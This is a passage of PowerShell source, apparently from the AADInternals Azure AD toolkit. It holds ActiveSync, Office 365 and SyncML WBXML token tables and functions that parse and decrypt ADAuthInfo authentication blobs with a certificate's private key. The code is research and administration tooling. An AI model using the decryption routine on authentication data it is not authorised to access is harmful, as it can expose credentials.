"YomiFirstName"), (Token 0x3A "YomiLastName"), (Token 0x3C "Picture"), (Token 0x3D "Alias"), (Token 0x3E "WeightedRank")) ), (CodePage 2 "Email" @( (Token 0x0F "DateReceived"), (Token 0x11 "DisplayTo"), (Token 0x12 "Importance"), (Token 0x13 "MessageClass"), (Token 0x14 "Subject"), (Token 0x15 "Read"), (Token 0x16 "To"), (Token 0x17 "Cc"), (Token 0x18 "From"), (Token 0x19 "ReplyTo"), (Token 0x1A "AllDayEvent"), (Token 0x1B "Categories"), (Token 0x1C "Category"), (Token 0x1D "DTStamp"), (Token 0x1E "EndTime"), (Token 0x1F "InstanceType"), (Token 0x20 "BusyStatus"), (Token 0x21 "Location"), (Token 0x22 "MeetingRequest"), (Token 0x23 "Organizer"), (Token 0x24 "RecurrenceId"), (Token 0x25 "Reminder"), (Token 0x26 "ResponseRequested"), (Token 0x27 "Recurrences"), (Token 0x28 "Recurrence"), (Token 0x29 "Recurrence_Type"), (Token 0x2A "Recurrence_Until"), (Token 0x2B "Recurrence_Occurrences"), (Token 0x2C "Recurrence_Interval"), (Token 0x2D "Recurrence_DayOfWeek"), (Token 0x2E "Recurrence_DayOfMonth"), (Token 0x2F "Recurrence_WeekOfMonth"), (Token 0x30 "Recurrence_MonthOfYear"), (Token 0x31 "StartTime"), (Token 0x32 "Sensitivity"), (Token 0x33 "TimeZone"), (Token 0x34 "GlobalObjId"), (Token 0x35 "ThreadTopic"), (Token 0x39 "InternetCPID"), (Token 0x3A "Flag"), (Token 0x3B "FlagStatus"), (Token 0x3C "ContentClass"), (Token 0x3D "FlagType"), (Token 0x3E "CompleteTime"), (Token 0x3F "DisallowNewTimeProposal")) ), (CodePage 3 "AirNotify" @(Token 0xFF "none")), (CodePage 4 "Calendar" @( (Token 0x05 "TimeZone"), (Token 0x06 "AllDayEvent"), (Token 0x07 "Attendees"), (Token 0x08 "Attendee"), (Token 0x09 "Attendee_Email"), (Token 0x0A "Attendee_Name"), (Token 0x0D "BusyStatus"), (Token 0x0E "Categories"), (Token 0x0F "Category"), (Token 0x11 "DTStamp"), (Token 0x12 "EndTime"), (Token 0x13 "Exception"), (Token 0x14 "Exceptions"), (Token 0x15 "Exception_Deleted"), (Token 0x16 "Exception_StartTime"), (Token 0x17 "Location"), (Token 0x18 "MeetingStatus"), (Token 0x19 "Organizer_Email"), (Token 0x1A "Organizer_Name"), (Token 0x1B "Recurrence"), (Token 0x1C "Recurrence_Type"), (Token 0x1D "Recurrence_Until"), (Token 0x1E "Recurrence_Occurrences"), (Token 0x1F "Recurrence_Interval"), (Token 0x20 "Recurrence_DayOfWeek"), (Token 0x21 "Recurrence_DayOfMonth"), (Token 0x22 "Recurrence_WeekOfMonth"), (Token 0x23 "Recurrence_MonthOfYear"), (Token 0x24 "Reminder"), (Token 0x25 "Sensitivity"), (Token 0x26 "Subject"), (Token 0x27 "StartTime"), (Token 0x28 "UID"), (Token 0x29 "Attendee_Status"), (Token 0x2A "Attendee_Type"), (Token 0x33 "DisallowNewTimeProposal"), (Token 0x34 "ResponseRequested"), (Token 0x35 "AppointmentReplyTime"), (Token 0x36 "ResponseType"), (Token 0x37 "CalendarType"), (Token 0x38 "IsLeapMonth"), (Token 0x39 "FirstDayOfWeek"), (Token 0x3A "OnlineMeetingConfLink"), (Token 0x3B "OnlineMeetingExternalLink")) ), (CodePage 5 "Move" @( (Token 0x05 "MoveItems"), (Token 0x06 "Move"), (Token 0x07 "SrcMsgId"), (Token 0x08 "SrcFldId"), (Token 0x09 "DstFldId"), (Token 0x0A "Response"), (Token 0x0B "Status"), (Token 0x0C "DstMsgId")) ), (CodePage 6 "ItemEstimate" @( (Token 0x05 "GetItemEstimate"), (Token 0x06 "Version"), (Token 0x07 "Collections"), (Token 0x08 "Collection"), (Token 0x09 "Class"), (Token 0x0A "CollectionId"), (Token 0x0B "DateTime"), (Token 0x0C "Estimate"), (Token 0x0D "Response"), (Token 0x0E "Status")) ), (CodePage 7 "FolderHierarchy" @( (Token 0x07 "DisplayName"), (Token 0x08 "ServerId"), (Token 0x09 "ParentId"), (Token 0x0A "Type"), (Token 0x0C "Status"), (Token 0x0E "Changes"), (Token 0x0F "Add"), (Token 0x10 "Delete"), (Token 0x11 "Update"), (Token 0x12 "SyncKey"), (Token 0x13 "FolderCreate"), (Token 0x14 "FolderDelete"), (Token 0x15 "FolderUpdate"), (Token 0x16 "FolderSync"), (Token 0x17 "Count")) ), (CodePage 8 "MeetingResponse" @( (Token 0x05 "CalendarId"), (Token 0x06 "CollectionId"), (Token 0x07 "MeetingResponse"), (Token 0x08 "RequestId"), (Token 0x09 "Request"), (Token 0x0A "Result"), (Token 0x0B "Status"), (Token 0x0C "UserResponse"), (Token 0x0E "InstanceId")) ), (CodePage 9 "Tasks" @( (Token 0x08 "Categories"), (Token 0x09 "Category"), (Token 0x0A "Complete"), (Token 0x0B "DateCompleted"), (Token 0x0C "DueDate"), (Token 0x0D "UTCDueDate"), (Token 0x0E "Importance"), (Token 0x0F "Recurrence"), (Token 0x10 "Recurrence_Type"), (Token 0x11 "Recurrence_Start"), (Token 0x12 "Recurrence_Until"), (Token 0x13 "Recurrence_Occurrences"), (Token 0x14 "Recurrence_Interval"), (Token 0x15 "Recurrence_DayOfMonth"), (Token 0x16 "Recurrence_DayOfWeek"), (Token 0x17 "Recurrence_WeekOfMonth"), (Token 0x18 "Recurrence_MonthOfYear"), (Token 0x19 "Recurrence_Regenerate"), (Token 0x1A "Recurrence_DeadOccur"), (Token 0x1B "ReminderSet"), (Token 0x1C "ReminderTime"), (Token 0x1D "Sensitivity"), (Token 0x1E "StartDate"), (Token 0x1F "UTCStartDate"), (Token 0x20 "Subject"), (Token 0x22 "OrdinalDate"), (Token 0x23 "SubOrdinalDate"), (Token 0x24 "CalendarType"), (Token 0x25 "IsLeapMonth"), (Token 0x26 "FirstDayOfWeek")) ) (CodePage 10 "ResolveRecipients" @( (Token 0x05 "ResolveRecipients"), (Token 0x06 "Response"), (Token 0x07 "Status"), (Token 0x08 "Type"), (Token 0x09 "Recipient"), (Token 0x0A "DisplayName"), (Token 0x0B "EmailAddress"), (Token 0x0C "Certificates"), (Token 0x0D "Certificate"), (Token 0x0E "MiniCertificate"), (Token 0x0F "Options"), (Token 0x10 "To"), (Token 0x11 "CertificateRetrieval"), (Token 0x12 "RecipientCount"), (Token 0x13 "MaxCertificates"), (Token 0x14 "MaxAmbiguousRecipients"), (Token 0x15 "CertificateCount"), (Token 0x16 "Availability"), (Token 0x17 "StartTime"), (Token 0x18 "EndTime"), (Token 0x19 "MergedFreeBusy"), (Token 0x1A "Picture"), (Token 0x1B "MaxSize"), (Token 0x1C "Data"), (Token 0x1D "MaxPictures")) ), (CodePage 11 "ValidateCert" @( (Token 0x05 "ValidateCert"), (Token 0x06 "Certificates"), (Token 0x07 "Certificate"), (Token 0x08 "CertificateChain"), (Token 0x09 "CheckCRL"), (Token 0x0A "Status")) ), (CodePage 12 "Contacts2" @( (Token 0x05 "CustomerId"), (Token 0x06 "GovernmentId"), (Token 0x07 "IMAddress"), (Token 0x08 "IMAddress2"), (Token 0x09 "IMAddress3"), (Token 0x0A "ManagerName"), (Token 0x0B "CompanyMainPhone"), (Token 0x0C "AccountName"), (Token 0x0D "NickName"), (Token 0x0E "MMS")) ), (CodePage 13 "Ping" @( (Token 0x05 "Ping"), (Token 0x06 "AutdState"), (Token 0x07 "Status"), (Token 0x08 "HeartbeatInterval"), (Token 0x09 "Folders"), (Token 0x0A "Folder"), (Token 0x0B "Id"), (Token 0x0C "Class"), (Token 0x0D "MaxFolders")) ), (CodePage 14 "Provision" @( (Token 0x05 "Provision"), (Token 0x06 "Policies"), (Token 0x07 "Policy"), (Token 0x08 "PolicyType"), (Token 0x09 "PolicyKey"), (Token 0x0A "Data"), (Token 0x0B "Status"), (Token 0x0C "RemoteWipe"), (Token 0x0D "EASProvisionDoc"), (Token 0x0E "DevicePasswordEnabled"), (Token 0x0F "AlphanumericDevicePasswordRequired"), (Token 0x10 "DeviceEncryptionEnabled"), (Token 0x10 "RequireStorageCardEncryption"), (Token 0x11 "PasswordRecoveryEnabled"), (Token 0x12 "DocumentBrowseEnabled"), (Token 0x13 "AttachmentsEnabled"), (Token 0x14 "MinDevicePasswordLength"), (Token 0x15 "MaxInactivityTimeDeviceLock"), (Token 0x16 "MaxDevicePasswordFailedAttempts"), (Token 0x17 "MaxAttachmentSize"), (Token 0x18 "AllowSimpleDevicePassword"), (Token 0x19 "DevicePasswordExpiration"), (Token 0x1A "DevicePasswordHistory"), (Token 0x1B "AllowStorageCard"), (Token 0x1C "AllowCamera"), (Token 0x1D "RequireDeviceEncryption"), (Token 0x1E "AllowUnsignedApplications"), (Token 0x1F "AllowUnsignedInstallationPackages"), (Token 0x20 "MinDevicePasswordComplexCharacters"), (Token 0x21 "AllowWiFi"), (Token 0x22 "AllowTextMessaging"), (Token 0x23 "AllowPOPIMAPEmail"), (Token 0x24 "AllowBluetooth"), (Token 0x25 "AllowIrDA"), (Token 0x26 "RequireManualSyncWhenRoaming"), (Token 0x27 "AllowDesktopSync"), (Token 0x28 "MaxCalendarAgeFilter"), (Token 0x29 "AllowHTMLEmail"), (Token 0x2A "MaxEmailAgeFilter"), (Token 0x2B "MaxEmailBodyTruncationSize"), (Token 0x2C "MaxEmailHTMLBodyTruncationSize"), (Token 0x2D "RequireSignedSMIMEMessages"), (Token 0x2E "RequireEncryptedSMIMEMessages"), (Token 0x2F "RequireSignedSMIMEAlgorithm"), (Token 0x30 "RequireEncryptionSMIMEAlgorithm"), (Token 0x31 "AllowSMIMEEncryptionAlgorithmNegotiation"), (Token 0x32 "AllowSMIMESoftCerts"), (Token 0x33 "AllowBrowser"), (Token 0x34 "AllowConsumerEmail"), (Token 0x35 "AllowRemoteDesktop"), (Token 0x36 "AllowInternetSharing"), (Token 0x37 "UnapprovedInROMApplicationList"), (Token 0x38 "ApplicationName"), (Token 0x39 "ApprovedApplicationList"), (Token 0x3A "Hash")) ), (CodePage 15 "Search" @( (Token 0x05 "Search"), (Token 0x07 "Store"), (Token 0x08 "Name"), (Token 0x09 "Query"), (Token 0x0A "Options"), (Token 0x0B "Range"), (Token 0x0C "Status"), (Token 0x0D "Response"), (Token 0x0E "Result"), (Token 0x0F "Properties"), (Token 0x10 "Total"), (Token 0x11 "EqualTo"), (Token 0x12 "Value"), (Token 0x13 "And"), (Token 0x14 "Or"), (Token 0x15 "FreeText"), (Token 0x17 "DeepTraversal"), (Token 0x18 "LongId"), (Token 0x19 "RebuildResults"), (Token 0x1A "LessThan"), (Token 0x1B "GreaterThan"), (Token 0x1E "UserName"), (Token 0x1F "Password"), (Token 0x20 "ConversationId"), (Token 0x21 "Picture"), (Token 0x22 "MaxSize"), (Token 0x23 "MaxPictures")) ), (CodePage 16 "GAL" @( (Token 0x02 "tag2"), # O365WBXML (Token 0x05 "DisplayName"), (Token 0x06 "Phone"), (Token 0x07 "Office"), (Token 0x08 "Title"), (Token 0x09 "Company"), (Token 0x0A "Alias"), (Token 0x0B "FirstName"), (Token 0x0C "LastName"), (Token 0x0D "HomePhone"), (Token 0x0E "MobilePhone"), (Token 0x0F "EmailAddress"), (Token 0x10 "Picture"), (Token 0x11 "Status"), (Token 0x12 "Data")) ), (CodePage 17 "AirSyncBase" @( (Token 0x05 "BodyPreference"), (Token 0x06 "Type"), (Token 0x07 "TruncationSize"), (Token 0x08 "AllOrNone"), (Token 0x0A "Body"), (Token 0x0B "Data"), (Token 0x0C "EstimatedDataSize"), (Token 0x0D "Truncated"), (Token 0x0E "Attachments"), (Token 0x0F "Attachment"), (Token 0x10 "DisplayName"), (Token 0x11 "FileReference"), (Token 0x12 "Method"), (Token 0x13 "ContentId"), (Token 0x14 "ContentLocation"), (Token 0x15 "IsInline"), (Token 0x16 "NativeBodyType"), (Token 0x17 "ContentType"), (Token 0x18 "Preview"), (Token 0x19 "BodyPartPreference"), (Token 0x1A "BodyPart"), (Token 0x1B "Status")) ), (CodePage 18 "Settings" @( (Token 0x05 "Settings"), (Token 0x06 "Status"), (Token 0x07 "Get"), (Token 0x08 "Set"), (Token 0x09 "Oof"), (Token 0x0A "OofState"), (Token 0x0B "StartTime"), (Token 0x0C "EndTime"), (Token 0x0D "OofMessage"), (Token 0x0E "AppliesToInternal"), (Token 0x0F "AppliesToExternalKnown"), (Token 0x10 "AppliesToExternalUnknown"), (Token 0x11 "Enabled"), (Token 0x12 "ReplyMessage"), (Token 0x13 "BodyType"), (Token 0x14 "DevicePassword"), (Token 0x15 "Password"), (Token 0x16 "DeviceInformation"), (Token 0x17 "Model"), (Token 0x18 "IMEI"), (Token 0x19 "FriendlyName"), (Token 0x1A "OS"), (Token 0x1B "OSLanguage"), (Token 0x1C "PhoneNumber"), (Token 0x1D "UserInformation"), (Token 0x1E "EmailAddresses"), (Token 0x1F "SmtpAddress"), (Token 0x20 "UserAgent"), (Token 0x21 "EnableOutboundSMS"), (Token 0x22 "MobileOperator"), (Token 0x23 "PrimarySmtpAddress"), (Token 0x24 "Accounts"), (Token 0x25 "Account"), (Token 0x26 "AccountId"), (Token 0x27 "AccountName"), (Token 0x28 "UserDisplayName"), (Token 0x29 "SendDisabled"), (Token 0x2B "RightsManagementInformation")) ), (CodePage 19 "DocumentLibrary" @( (Token 0x05 "LinkId"), (Token 0x06 "DisplayName"), (Token 0x07 "IsFolder"), (Token 0x08 "CreationDate"), (Token 0x09 "LastModifiedDate"), (Token 0x0A "IsHidden"), (Token 0x0B "ContentLength"), (Token 0x0C "ContentType")) ), (CodePage 20 "ItemOperations" @( (Token 0x05 "ItemOperations"), (Token 0x06 "Fetch"), (Token 0x07 "Store"), (Token 0x08 "Options"), (Token 0x09 "Range"), (Token 0x0A "Total"), (Token 0x0B "Properties"), (Token 0x0C "Data"), (Token 0x0D "Status"), (Token 0x0E "Response"), (Token 0x0F "Version"), (Token 0x10 "Schema"), (Token 0x11 "Part"), (Token 0x12 "EmptyFolderContents"), (Token 0x13 "DeleteSubFolders"), (Token 0x14 "UserName"), (Token 0x15 "Password"), (Token 0x16 "Move"), (Token 0x17 "DstFldId"), (Token 0x18 "ConversationId"), (Token 0x19 "MoveAlways")) ), (CodePage 21 "ComposeMail" @( (Token 0x05 "SendMail"), (Token 0x06 "SmartForward"), (Token 0x07 "SmartReply"), (Token 0x08 "SaveInSentItems"), (Token 0x09 "ReplaceMime"), (Token 0x0B "Source"), (Token 0x0C "FolderId"), (Token 0x0D "ItemId"), (Token 0x0E "LongId"), (Token 0x0F "InstanceId"), (Token 0x10 "MIME"), (Token 0x11 "ClientId"), (Token 0x12 "Status"), (Token 0x13 "AccountId")) ), (CodePage 22 "Email2" @( (Token 0x05 "UmCallerID"), (Token 0x06 "UmUserNotes"), (Token 0x07 "UmAttDuration"), (Token 0x08 "UmAttOrder"), (Token 0x09 "ConversationId"), (Token 0x0A "ConversationIndex"), (Token 0x0B "LastVerbExecuted"), (Token 0x0C "LastVerbExecutionTime"), (Token 0x0D "ReceivedAsBcc"), (Token 0x0E "Sender"), (Token 0x0F "CalendarType"), (Token 0x10 "IsLeapMonth"), (Token 0x11 "AccountId"), (Token 0x12 "FirstDayOfWeek"), (Token 0x13 "MeetingMessageType")) ), (CodePage 23 "Notes" @( (Token 0x05 "Subject"), (Token 0x06 "MessageClass"), (Token 0x07 "LastModifiedDate"), (Token 0x08 "Categories"), (Token 0x09 "Category")) ), (CodePage 24 "RightsManagement" @( (Token 0x05 "RightsManagementSupport"), (Token 0x06 "RightsManagementTemplates"), (Token 0x07 "RightsManagementTemplate"), (Token 0x08 "RightsManagementLicense"), (Token 0x09 "EditAllowed"), (Token 0x0A "ReplyAllowed"), (Token 0x0B "ReplyAllAllowed"), (Token 0x0C "ForwardAllowed"), (Token 0x0D "ModifyRecipientsAllowed"), (Token 0x0E "ExtractAllowed"), (Token 0x0F "PrintAllowed"), (Token 0x10 "ExportAllowed"), (Token 0x11 "ProgrammaticAccessAllowed"), (Token 0x12 "RMOwner"), (Token 0x13 "ContentExpiryDate"), (Token 0x14 "TemplateID"), (Token 0x15 "TemplateName"), (Token 0x16 "TemplateDescription"), (Token 0x17 "ContentOwner"), (Token 0x18 "RemoveRightsManagementDistribution")) ) ) # Office 365 undocumented WBXML CodePage and tokens $O365CodePages = @( (CodePage 0xFF "Sync" @( (Token 0x01 "A1_01"), (Token 0x04 "A4_04"), (Token 0x05 "Sync"), (Token 0x06 "Setting1"), (Token 0x07 "Setting2"), (Token 0x08 "Setting3"), (Token 0x09 "DeviceId"), (Token 0x0A "A10_0A"), (Token 0x0B "A11_0B"), (Token 0x0C "A12_0C"), (Token 0x0D "Setting4"), (Token 0x0E "Setting5"), (Token 0x0F "Setting6"), (Token 0x10 "A16_16"), (Token 0x11 "A17_11"), (Token 0x12 "ClientAccessServerName"), (Token 0x13 "ServerName"), (Token 0x14 "A20_14"), (Token 0x15 "A21_15"), (Token 0x16 "A22_16"), (Token 0x17 "A23_17"), (Token 0x18 "A24_18"), (Token 0x19 "A25_19"), (Token 0x1A "A26_1A"), (Token 0x1B "A27_1B"), (Token 0x1C "A28_1C"), (Token 0x1D "A29_1D"), (Token 0x1E "A30_1E"), (Token 0x1F "A31_1F"), (Token 0x20 "A32_20"), (Token 0x21 "A33_21"), (Token 0x22 "A34_22"), (Token 0x23 "A35_23"), (Token 0x25 "A37_25"), (Token 0x26 "A38_26"), (Token 0x27 "A39_27"), (Token 0x28 "A40_28"), (Token 0x29 "A41_29"), (Token 0x2A "A42_2A"), (Token 0x2B "A43_2B"), (Token 0x2E "A46_2E"), (Token 0x33 "A51_33"), (Token 0x39 "A57_39")) ), (CodePage 0xE0 "Outlook" @( (Token 0x20 "B32_20"), (Token 0x23 "B35_23"), (Token 0x37 "B55_37"), (Token 0x3B "B59_3B"), (Token 0x3C "B60_3C"), (Token 0x3D "B61_3D"), (Token 0x3E "B62_3E")) ), (CodePage 0xE1 "Settings" @( (Token 0x19 "C25_19"), (Token 0x1A "C26_1A") (Token 0x1B "C27_1B"), (Token 0x1C "C28_1C"), (Token 0x1D "C29_1D"), (Token 0x1E "C30_1E"), (Token 0x1F "C31_1F"), (Token 0x24 "C36_24"), (Token 0x29 "C41_29")) ), (CodePage 0x10 "O365WBXML4" @( (Token 0x11 "D17_11"), (Token 0x12 "D18_12"), (Token 0x13 "D19_13"), (Token 0x14 "D20_14"), (Token 0x15 "D21_15"), (Token 0x16 "D22_16"), (Token 0x17 "D23_17"), (Token 0x18 "D24_18")) ), (CodePage 0x1B "O365WBXML5" @( (Token 0x17 "E23_17"), (Token 0x22 "E34_22")) ), (CodePage 0x0E "O365WBXML6" @( (Token 0x37 "F55_37"), (Token 0x38 "F56_38"), (Token 0x3B "F59_3B"), (Token 0x3C "F60_3C"), (Token 0x3D "F61_3D"), (Token 0x3E "F62_3E"), (Token 0x3F "F63_3F")) ), (CodePage 0x00 "O365WBXML7" @( (Token 0x06 "G6_06"), (Token 0x08 "G8_08"), (Token 0x09 "G9_09"), (Token 0x0B "G11_0B"), (Token 0x24 "G36_24"), (Token 0x2C "G44_2C"), (Token 0x2D "G45_2D"), (Token 0x31 "G49_31"), (Token 0x32 "G50_32"), (Token 0x33 "G51_33"), (Token 0x34 "G52_34"), (Token 0x35 "G53_35"), (Token 0x36 "G54_36"), (Token 0x37 "G55_37"), (Token 0x38 "G56_38"), (Token 0x39 "G57_39"), (Token 0x3A "G58_3A"), (Token 0x3B "G59_3B"), (Token 0x3C "G60_3C"), (Token 0x3D "G61_3D"), (Token 0x3E "G62_3E"), (Token 0x3F "G63_3F")) ), (CodePage 0x11 "O365WBXML8" @( (Token 0x06 "H6_06"), (Token 0x1A "h26_1A"), (Token 0x1E "H30_1E"), (Token 0x1F "H31_1F"), (Token 0x24 "H36_24"), (Token 0x31 "H49_31"), (Token 0x32 "H50_32"), (Token 0x33 "H51_33"), (Token 0x34 "H52_34"), (Token 0x35 "H53_35"), (Token 0x36 "H54_36"), (Token 0x3A "H58_3A"), (Token 0x3B "H59_3B") (Token 0x3C "H60_3C") (Token 0x3D "H61_3D") (Token 0x3E "H62_3E") (Token 0x3F "H63_3F")) ), (CodePage 0x14 "O365WBXML9" @( (Token 0x08 "I8_09"), (Token 0x12 "I18_12"), (Token 0x29 "I41_29"), (Token 0x38 "I56_38")) ), (CodePage 0x01 "O365WBXML10" @( (Token 0x06 "J6_06"), (Token 0x07 "J7_07"), (Token 0x08 "J8_08"), (Token 0x09 "J9_09"), (Token 0x0A "J10_0A"), (Token 0x0B "J11_0B"), (Token 0x0C "J12_0C"), (Token 0x0D "J13_0D"), (Token 0x0E "J14_0E"), (Token 0x0F "J15_0F"), (Token 0x10 "J16_10"), (Token 0x11 "J17_11"), (Token 0x12 "J18_12"), (Token 0X13 "J19_13"), (Token 0x14 "J20_14"), (Token 0x15 "J21_15"), (Token 0x16 "J22_16"), (Token 0x17 "J23_17"), (Token 0x18 "J24_18")) ), (CodePage 0x08 "O365WBXML11" @( (Token 0x3E "K62_3E")) ), (CodePage 0x13 "O365WBXML12" @( (Token 0x07 "L7_07"), (Token 0x0A "L10_0A"), (Token 0x0B "L11_0B"), (Token 0x26 "L38_26"), (Token 0x3B "L59_3B"), (Token 0x3C "L60_3C"), (Token 0x3D "L61_3D")) ), (CodePage 0x16 "O365WBXML13" @( (Token 0x1A "M26_1A"), (Token 0x1B "M27_1B"), (Token 0x2D "M45_2D"), (Token 0x2E "M46_2E"), (Token 0x2F "M47_2F"), (Token 0x34 "M52_34")) ), (CodePage 0x04 "O365WBXML14" @( (Token 0x39 "N57_39")) ), (CodePage 0x15 "O365WBXML15" @( (Token 0x1B "O27_1B"), (Token 0x28 "O40_28"), (Token 0x27 "O39_27"), (Token 0x38 "O56_38"), (Token 0x3E "O62_3E"), (Token 0x3D "O63_3D") (Token 0x3E "O64_3E") (Token 0x3F "O65_3F")) ), (CodePage 0x17 "O365WBXML16" @( (Token 0x1C "P28_1C"), (Token 0x1D "P29_1D"), (Token 0x1E "P30_1E")) ), (CodePage 0x0D "O365WBXML17" @( (Token 0x28 "Q40_28"), (Token 0x39 "Q57_39")) ), (CodePage 0x02 "O365WBXML18" @( (Token 0x35 "R53_35")) ), (CodePage 0x1A "O365WBXML19" @( (Token 0x0D "S13_0D"), (Token 0x31 "S49_31"), (Token 0x39 "S57_39"), (Token 0x3A "S58_3A")) ), (CodePage 0x1D "O365WBXML20" @( (Token 0x2E "T46_2E")) ), (CodePage 0x09 "O365WBXML21" @( (Token 0x05 "U5_05"), (Token 0x06 "U6_06"), (Token 0x07 "U7_07"), (Token 0x08 "U8_08"), (Token 0x09 "U9_09"), (Token 0x0A "U10_0A"), (Token 0x0B "U11_0B") (Token 0x0C "U12_0C") (Token 0x0D "U13_0D") (Token 0x0E "U14_0E") (Token 0x0F "U15_0F") (Token 0x10 "U16_10")) ), (CodePage 0x12 "O365WBXML22" @( (Token 0x2D "V45_2D"), (Token 0x31 "V49_31"), (Token 0x37 "V55_37")) ), (CodePage 0x18 "O365WBXML23" @( (Token 0x2E "W46_2E")) ), (CodePage 0x1C "O365WBXML24" @( (Token 0x28 "X40_28"), (Token 0x29 "X41_29"), (Token 0x35 "X53_35")) ), (CodePage 0x0F "O365WBXML25" @( (Token 0x05 "Y5_05"), (Token 0x06 "Y6_06"), (Token 0x07 "Y7_07"), (Token 0x08 "Y8_08"), (Token 0x09 "Y9_09"), (Token 0x0A "Y10_0A"), (Token 0x0B "Y11_0B"), (Token 0x0C "Y12_0C"), (Token 0x0D "Y13_0D"), (Token 0x0E "Y14_0E"), (Token 0x0F "Y15_0F"), (Token 0x10 "Y16_10"), (Token 0x11 "Y17_11"), (Token 0x12 "Y18_12"), (Token 0x13 "Y19_13"), (Token 0x14 "Y20_14"), (Token 0x1A "Y26_1A"), (Token 0x1B "Y27_1B"), (Token 0x1C "Y28_1C"), (Token 0x1D "Y29_1D"), (Token 0x1E "Y30_1E"), (Token 0x1F "Y31_1F"), (Token 0x24 "Y36_24"), (Token 0x25 "Y37_25"), (Token 0x26 "Y38_26"), (Token 0x27 "Y39_27"), (Token 0x28 "Y40_28"), (Token 0x29 "Y41_29"), (Token 0x2A "Y42_2A"), (Token 0x2B "Y43_2B"), (Token 0x2C "Y44_2C"), (Token 0x2D "Y45_2D"), (Token 0x2E "Y46_2E"), (Token 0x2F "Y47_2F"), (Token 0x30 "Y48_30"), (Token 0x31 "Y49_31"), (Token 0x32 "Y50_32"), (Token 0x33 "Y51_33"), (Token 0x34 "Y52_34"), (Token 0x35 "Y53_35")) ) ) # SyncML WBXML CodePages and tokens $SyncMLCodePage = @( (CodePage 0 "SYNCML:SYNCML1.2" @( (Token 0x05 "Add"), (Token 0x06 "Alert"), (Token 0x07 "Archive"), (Token 0x08 "Atomic"), (Token 0x09 "Chal"), (Token 0x0A "Cmd"), (Token 0x0B "CmdID"), (Token 0x0C "CmdRef"), (Token 0x0D "Copy"), (Token 0x0E "Cred"), (Token 0x0F "Data"), (Token 0x10 "Delete"), (Token 0x11 "Exec"), (Token 0x12 "Final"), (Token 0x13 "Get"), (Token 0x14 "Item"), (Token 0x15 "Lang"), (Token 0x16 "LocName"), (Token 0x17 "LocURI"), (Token 0x18 "Map"), (Token 0x19 "MapItem"), (Token 0x1A "Meta"), (Token 0x1B "MsgID"), (Token 0x1C "MsgRef"), (Token 0x1D "NoResp"), (Token 0x1E "NoResults"), (Token 0x1F "Put"), (Token 0x20 "Replace"), (Token 0x21 "RespURI"), (Token 0x22 "Results"), (Token 0x23 "Search"), (Token 0x24 "Sequence"), (Token 0x25 "SessionID"), (Token 0x26 "SftDel"), (Token 0x27 "Source"), (Token 0x28 "SourceRef"), (Token 0x29 "Status"), (Token 0x2A "Sync"), (Token 0x2B "SyncBody"), (Token 0x2C "SyncHdr"), (Token 0x2D "SyncML"), (Token 0x2E "Target"), (Token 0x2F "TargetRef"), (Token 0x30 "RESERVED"), # Reserved for future use. (Token 0x31 "VerDTD"), (Token 0x32 "VerProto"), (Token 0x33 "NumberOfChanges"), (Token 0x34 "MoreData"), (Token 0x35 "Field"), (Token 0x36 "Filter"), (Token 0x37 "Record"), (Token 0x38 "FilterType"), (Token 0x39 "SourceParent"), (Token 0x3A "TargetParent"), (Token 0x3B "Move"), (Token 0x3C "Correlator")) ), (CodePage 1 "syncml:metinf" @( (Token 0x05 "Anchor"), (Token 0x06 "EMI"), (Token 0x07 "Format"), (Token 0x08 "FreeID"), (Token 0x09 "FreeMem"), (Token 0x0A "Last"), (Token 0x0B "Mark"), (Token 0x0C "MaxMsgSize"), (Token 0x0D "Mem"), (Token 0x0E "MetInf"), (Token 0x0F "Next"), (Token 0x10 "NextNonce"), (Token 0x11 "SharedMem"), (Token 0x12 "Size"), (Token 0x13 "Type"), (Token 0x14 "Version"), (Token 0x15 "MaxObjSize")) ) )
DCaaS_utils.ps1
AADInternals-0.9.4
# Decrypts the given ADAuthInfo BLOB with the given certificate # Dec 22nd 2022 function Unprotect-ADAuthInfo { [CmdletBinding()] param( [Parameter(Mandatory=$true)] [byte[]]$Data, [Parameter(Mandatory=$true)] [System.Security.Cryptography.X509Certificates.X509Certificate]$Certificate ) Process { # Parse the blob $ADAuthInfo = Parse-ADAuthInfo -Data $Data # Ref: Microsoft.AD.DCaaS.Serialization.ADAuthInfoGenerator::Encrypt [Array]::Reverse($ADAuthInfo.Key) # This may be encrypted with other (=older) certificate.. try { $key = $Certificate.PrivateKey.Decrypt($ADAuthInfo.Key,$true) [System.Security.Cryptography.AesCryptoServiceProvider]$aesCryptoServiceProvider = [System.Security.Cryptography.AesCryptoServiceProvider]::new() $aesCryptoServiceProvider.KeySize = 256 $aesCryptoServiceProvider.BlockSize = 128; $aesCryptoServiceProvider.Mode = [System.Security.Cryptography.CipherMode]::CBC $aesCryptoServiceProvider.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aesCryptoServiceProvider.Key = $key $aesCryptoServiceProvider.IV = $ADAuthInfo.IV [System.IO.MemoryStream]$memoryStream = [System.IO.MemoryStream]::new() [System.Security.Cryptography.ICryptoTransform]$cryptoTransform = $aesCryptoServiceProvider.CreateDecryptor() [System.Security.Cryptography.CryptoStream]$cryptoStream = [System.Security.Cryptography.CryptoStream]::new($memoryStream,$cryptoTransform,[System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($ADAuthInfo.EncryptedData,0,$ADAuthInfo.EncryptedData.Length) $cryptoStream.FlushFinalBlock() $decryptedData = $memoryStream.ToArray() return $decryptedData } catch { # Probably just encrypted using other (older) certificate return $null } finally { if($cryptoStream) {$cryptoStream.Dispose()} if($cryptoTransform) {$cryptoTransform.Dispose()} if($memoryStream) {$memoryStream.Dispose()} if($aesCryptoServiceProvider) {$aesCryptoServiceProvider.Dispose()} } } } # Parses the given ADAuthInfo BLOB and returns the parsed attributes # Dec 22nd 2022 function Parse-ADAuthInfo { [CmdletBinding()] param( [Parameter(Mandatory=$true)] [byte[]]$Data ) Process { # Parse the blob $p = 0; $version = [System.BitConverter]::ToInt32($Data,$p); $p += 4 $reserved = [System.BitConverter]::ToInt32($Data,$p); $p += 4 $encKeyAlg = [System.BitConverter]::ToInt32($Data,$p); $p += 4 $payloadEncKeyAlg = [System.BitConverter]::ToInt32($Data,$p); $p += 4 $thumbPrintSize = [System.BitConverter]::ToInt32($Data,$p); $p += 4 $encKeySize = [System.BitConverter]::ToInt32($Data,$p); $p += 4 $IVSize = [System.BitConverter]::ToInt32($Data,$p); $p += 4 $encDataSize = [System.BitConverter]::ToInt32($Data,$p); $p += 4 $thumbPrint = $Data[$p..($p+$thumbPrintSize-1)]; $p += $thumbPrintSize $encKey = $Data[$p..($p+$encKeySize-1)]; $p += 